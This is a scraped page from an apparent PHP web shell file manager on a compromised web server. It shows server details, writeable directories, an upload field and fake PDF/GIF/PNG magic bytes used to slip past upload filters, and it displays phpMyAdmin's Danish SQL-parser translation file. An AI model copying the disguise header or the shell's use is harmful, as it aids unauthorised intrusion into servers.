%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/da/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/da/LC_MESSAGES/sqlparser.po
#
msgid ""
msgstr ""
"Project-Id-Version: SQL parser 5\n"
"Report-Msgid-Bugs-To: translators@phpmyadmin.net\n"
"POT-Creation-Date: 2023-02-26 22:46+0100\n"
"PO-Revision-Date: 2023-01-26 07:10+0000\n"
"Last-Translator: liviuconcioiu <liviu.concioiu@gmail.com>\n"
"Language-Team: Danish <https://hosted.weblate.org/projects/phpmyadmin/sql-"
"parser/da/>\n"
"Language: da\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.16-dev\n"

#: src/Component.php:39 src/Component.php:59
msgid "Not implemented yet."
msgstr "Endnu ikke implementeret."

#: src/Components/AlterOperation.php:415 src/Statement.php:359
msgid ""
"A new statement was found, but no delimiter between it and the previous one."
msgstr ""
"Et nyt statement blev fundet, men der var ingen adskillelsestegn mellem det "
"og det foregående."

#: src/Components/AlterOperation.php:427
msgid "Missing comma before start of a new alter operation."
msgstr ""

#: src/Components/AlterOperation.php:472
msgid "Unrecognized alter operation."
msgstr "Ukendt alter opgave."

#: src/Components/Array2d.php:88
#, php-format
msgid "%1$d values were expected, but found %2$d."
msgstr "%1$d værdier var ventet, men fandt %2$d."

#: src/Components/Array2d.php:108
msgid "An opening bracket followed by a set of values was expected."
msgstr "En kantet venstreparentes efterfulgt af et sæt værdier blev forventet."

#: src/Components/ArrayObj.php:106 src/Components/CreateDefinition.php:233
msgid "An opening bracket was expected."
msgstr "En kantet venstreparantes var forventet."

#: src/Components/CaseExpression.php:133 src/Components/CaseExpression.php:161
#: src/Components/CaseExpression.php:172 src/Components/CaseExpression.php:184
#: src/Components/IndexHint.php:134 src/Components/IndexHint.php:164
#: src/Components/LockExpression.php:173 src/Components/LockExpression.php:180
#: src/Components/LockExpression.php:188 src/Statements/DeleteStatement.php:249
#: src/Statements/DeleteStatement.php:268
#: src/Statements/DeleteStatement.php:308
#: src/Statements/DeleteStatement.php:320
#: src/Statements/DeleteStatement.php:346
#: src/Statements/DeleteStatement.php:353
#: src/Statements/InsertStatement.php:189
#: src/Statements/InsertStatement.php:220 src/Statements/LoadStatement.php:265
#: src/Statements/LockStatement.php:85 src/Statements/ReplaceStatement.php:149
#: src/Statements/ReplaceStatement.php:178
msgid "Unexpected keyword."
msgstr "Uventet nøgleord."

#: src/Components/CaseExpression.php:192
msgid "Unexpected end of CASE expression"
msgstr "Uventet afslutning af CASE udtryk"

#: src/Components/CaseExpression.php:212
#, fuzzy
#| msgid "Unexpected end of CASE expression"
msgid "Potential duplicate alias of CASE expression."
msgstr "Uventet afslutning af CASE udtryk"

#: src/Components/CaseExpression.php:225
msgid "An alias expected after AS but got "
msgstr ""

#: src/Components/CaseExpression.php:238 src/Components/Expression.php:352
#: src/Components/Expression.php:372 src/Components/Expression.php:424
msgid "An alias was previously found."
msgstr "Et alias er fundet tidligere."

#: src/Components/CaseExpression.php:252
#, fuzzy
#| msgid "An alias was expected."
msgid "An alias was expected after AS."
msgstr "Et alias var verntet."

#: src/Components/CreateDefinition.php:255
msgid ""
"A symbol name was expected! A reserved keyword can not be used as a column "
"name without backquotes."
msgstr ""
"Et symbolnavn var ventet! Et reserveret nøgleord kan ikke bruges som et "
"feltnavn uden backquotes."

#: src/Components/CreateDefinition.php:268
msgid "A symbol name was expected!"
msgstr "Et symbol var ventet!"

#: src/Components/CreateDefinition.php:300
msgid "A comma or a closing bracket was expected."
msgstr "Et komma eller lukke parentes var ventet."

#: src/Components/CreateDefinition.php:313 src/Statements/WithStatement.php:328
msgid "A closing bracket was expected."
msgstr "En kantet højreparantes var ventet."

#: src/Components/DataType.php:130
msgid "Unrecognized data type."
msgstr "Ukendt datatype."

#: src/Components/ExpressionArray.php:106 src/Statements/WithStatement.php:197
msgid "An expression was expected."
msgstr "Et udtryk var ventet."

#: src/Components/Expression.php:257 src/Components/Expression.php:435
msgid "An alias was expected."
msgstr "Et alias var verntet."

#: src/Components/Expression.php:403
msgid "Unexpected dot."
msgstr "Uventet punktum."

#: src/Components/IndexHint.php:140 src/Components/IndexHint.php:170
#: src/Components/Key.php:259 src/Components/LockExpression.php:161
#: src/Components/SetOperation.php:138 src/Statement.php:258
#: src/Statements/DeleteStatement.php:263
#: src/Statements/DeleteStatement.php:315
#: src/Statements/ExplainStatement.php:161
#: src/Statements/InsertStatement.php:203
#: src/Statements/InsertStatement.php:240 src/Statements/LoadStatement.php:270
#: src/Statements/LoadStatement.php:291 src/Statements/LoadStatement.php:310
#: src/Statements/LockStatement.php:93 src/Statements/LockStatement.php:100
#: src/Statements/PurgeStatement.php:106 src/Statements/PurgeStatement.php:119
#: src/Statements/PurgeStatement.php:140
#: src/Statements/ReplaceStatement.php:163 src/Statements/WithStatement.php:132
msgid "Unexpected token."
msgstr "Uventet token."

#: src/Components/Limit.php:78 src/Components/Limit.php:105
msgid "An offset was expected."
msgstr "En forskydning var ventet."

#: src/Components/LockExpression.php:91 src/Components/LockExpression.php:201
msgid "Unexpected end of LOCK expression."
msgstr "Uventet afslutning af LOCK udtryk."

#: src/Components/OptionsArray.php:146
#, php-format
msgid "This option conflicts with \"%1$s\"."
msgstr "Denne indstilling er i konflikt med \"%1$s\"."

#: src/Components/RenameOperation.php:103
msgid "The old name of the table was expected."
msgstr "Tabellens gamle navn var ventet."

#: src/Components/RenameOperation.php:109
msgid "Keyword \"TO\" was expected."
msgstr "Nøgleordet \"TO\" var forventet."

#: src/Components/RenameOperation.php:124
msgid "The new name of the table was expected."
msgstr "Tabellens nye navn var ventet."

#: src/Components/RenameOperation.php:140
msgid "A rename operation was expected."
msgstr "En omdøbsopgave var ventet."

#: src/Components/SetOperation.php:121
msgid "Missing expression."
msgstr "Manglende udtryk."

#: src/Lexer.php:274
msgid "Unexpected character."
msgstr "Uventet karakter."

#: src/Lexer.php:313
msgid "Expected whitespace(s) before delimiter."
msgstr "Forventede whitespace(s) før adskillelsestegn."

#: src/Lexer.php:329 src/Lexer.php:348
msgid "Expected delimiter."
msgstr "Forventede adskillelsestegn."

#: src/Lexer.php:1004
#, php-format
msgid "Ending quote %1$s was expected."
msgstr "Slut quote %1$s var ventet."

#: src/Lexer.php:1056
msgid "Variable name was expected."
msgstr "Variabelnavn var ventet."

#: src/Parser.php:456
msgid "Unexpected beginning of statement."
msgstr "Uventet start på statement."

#: src/Parser.php:499
msgid "Unrecognized statement type."
msgstr "Ukendt type af statement."

#: src/Parser.php:587
msgid "No transaction was previously started."
msgstr "Ingen transaktion er blevet startet tidligere."

#: src/Statement.php:327
msgid "This type of clause was previously parsed."
msgstr "Denne type af sætningskonstruktion er tidligere blevet parset."

#: src/Statement.php:398
msgid "Unrecognized keyword."
msgstr "Ukendt nøgleord."

#: src/Statement.php:409
msgid "Keyword at end of statement."
msgstr "Nøgleord i slutningen af udtryk."

#: src/Statement.php:555
msgid "Unexpected ordering of clauses."
msgstr "Uventet clause rækkefølge."

#: src/Statements/CreateStatement.php:549
msgid "The name of the entity was expected."
msgstr "Enhedens navn var ventet."

#: src/Statements/CreateStatement.php:598
msgid "A table name was expected."
msgstr "Et tabelnavn var ventet."

#: src/Statements/CreateStatement.php:603
msgid "At least one column definition was expected."
msgstr "Mindst en kolonne definition var ventet."

#: src/Statements/CreateStatement.php:707
msgid "A \"RETURNS\" keyword was expected."
msgstr "Et \"RETURNS\" nøgleord var forventet."

#: src/Statements/DeleteStatement.php:329
msgid "This type of clause is not valid in Multi-table queries."
msgstr ""
"Denn type af sætningskonstruktion er ikke gyldig i multitabel forespørgsler."

#: src/Statements/LockStatement.php:120
#, fuzzy
#| msgid "Unexpected beginning of statement."
msgid "Unexpected end of LOCK statement."
msgstr "Uventet start på statement."

#: src/Statements/PurgeStatement.php:138
msgid "Unexpected keyword"
msgstr "Uventet nøgleord"

#: src/Statements/WithStatement.php:118
#, fuzzy
#| msgid "The name of the entity was expected."
msgid "The name of the CTE was expected."
msgstr "Enhedens navn var ventet."

#: src/Statements/WithStatement.php:137
#, fuzzy
#| msgid "A \"RETURNS\" keyword was expected."
msgid "AS keyword was expected."
msgstr "Et \"RETURNS\" nøgleord var forventet."

#: src/Statements/WithStatement.php:149
#, fuzzy
#| msgid "The name of the entity was expected."
msgid "Subquery of the CTE was expected."
msgstr "Enhedens navn var ventet."

#: src/Statements/WithStatement.php:266
#, fuzzy
#| msgid "Unexpected beginning of statement."
msgid "Unexpected end of the WITH CTE."
msgstr "Uventet start på statement."

#~ msgid "Unexpected end of Lock expression."
#~ msgstr "Uventet afslutning af LOCK udtryk."

#~ msgid "error #1"
#~ msgstr "fejl #1"

#~ msgid "strict error"
#~ msgstr "stringent fejl"

VaKeR 2022